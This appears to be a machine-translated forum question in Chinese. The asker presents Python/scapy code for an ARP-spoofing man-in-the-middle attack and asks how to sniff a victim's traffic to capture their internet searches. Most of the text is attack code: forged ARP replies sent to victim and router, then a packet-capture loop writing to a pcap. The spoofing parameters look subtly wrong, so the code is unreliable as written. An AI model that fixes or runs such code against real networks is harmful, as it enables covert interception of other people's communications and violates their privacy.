我正在使用python 3进行中间攻击的人。到目前为止,我已经获得了获取受害者和逃亡的Mac地址的代码。在那之后,有一个真正的循环,我发送双方的arp请求。
def attack(Victim, Router, VictiMac, RouterMac):
print("Attacking")
send(ARP(op = 2, pdst = Victim, psrc = Router, hwdst = VictiMac, hwsrc =
RouterMac))
send(ARP(op = 2, pdst= Router, psrc=Victim, hwdst=RouterMac, hwsrc =
VictiMac))
但是,在我介入中间之后,我想分析数据包并获得受害者搜索。我如何做到这一点并获得互联网搜索?
现在,我的主要功能是:
while True:
try:
attack(info[0], info[1], gatemac(info[0]), gatemac(info[1]))
print("Now we are in the middle, Lets analyze the packets traffic")
time.sleep(2)
bpf_filter = "IP host %s" % (info[0])
packets = sniff(count=20, filter=bpf_filter)
wrpcap("arper.pcap", packets)
但是,嗅探器无法正常工作。有人知道我该怎么办?
谢谢!